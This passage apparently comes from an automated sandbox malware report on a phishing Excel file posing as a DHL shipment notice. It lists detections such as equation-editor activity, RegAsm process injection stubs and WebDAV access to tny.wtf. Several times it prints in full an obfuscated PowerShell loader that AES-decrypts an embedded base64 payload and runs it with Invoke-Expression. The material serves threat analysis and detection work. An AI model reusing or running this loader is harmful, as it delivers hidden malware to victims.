            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 0000000A.00000002.454145693.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458702906.0000000006210000.00000004.08000000.00040000.00000000.sdmp
            Source: ~DF12C089FB471A9923.TMP.0.drInitial sample: OLE indicators vbamacros = False
            Source: DHL Shipment Notification 490104998009.xlsInitial sample: OLE indicators encrypted = True

            Data Obfuscation

            barindex
            Obfuscated command line found
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
            Suspicious powershell command line found
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,12_2_0041CB50
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_00330647 push es; retf 8_2_00330649
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_0033A192 push ebp; retf 8_2_0033A341
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_0033EEFA push cs; ret 8_2_0033EF99
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_003385E2 pushfd ; iretd 8_2_00338609
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_0033ECCA push eax; ret 8_2_0033ED69
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00457106 push ecx; ret 12_2_00457119
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045B11A push esp; ret 12_2_0045B141
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045E54D push esi; ret 12_2_0045E556
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00457A28 push eax; ret 12_2_00457A46
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434E56 push ecx; ret 12_2_00434E69
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_10002806 push ecx; ret 12_2_10002819
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044693D push ecx; ret 13_2_0044694D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044DB70 push eax; ret 13_2_0044DB84
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0044DB70 push eax; ret 13_2_0044DBAC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_00451D54 push eax; ret 13_2_00451D61
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0044B090 push eax; ret 14_2_0044B0A4
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_0044B090 push eax; ret 14_2_0044B0CC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_00451D34 push eax; ret 14_2_00451D41
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_00444E71 push ecx; ret 14_2_00444E81
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_00414060 push eax; ret 15_2_00414074
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_00414060 push eax; ret 15_2_0041409C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_00414039 push ecx; ret 15_2_00414049
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_004164EB push 0000006Ah; retf 15_2_004165C4
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_00416553 push 0000006Ah; retf 15_2_004165C4
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_00416555 push 0000006Ah; retf 15_2_004165C4

            Persistence and Installation Behavior

            barindex
            Microsoft Office launches external ms-search protocol handler (WebDAV)
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRootJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRootJump to behavior
            AI detected suspicious Excel or Word document
            Source: Office documentLLM: Score: 8 Reasons: The screenshot contains a visually prominent message with the Microsoft Office logo and the text 'This document is protected'. This can mislead users into thinking they need to click on a link or button to view the document. The text creates a sense of urgency or necessity to access the document, which is a common tactic used in phishing attacks. The use of the Microsoft Office logo impersonates a well-known brand, adding to the credibility of the phishing attempt. The combination of these elements suggests a high risk of phishing.
            Office drops RTF file
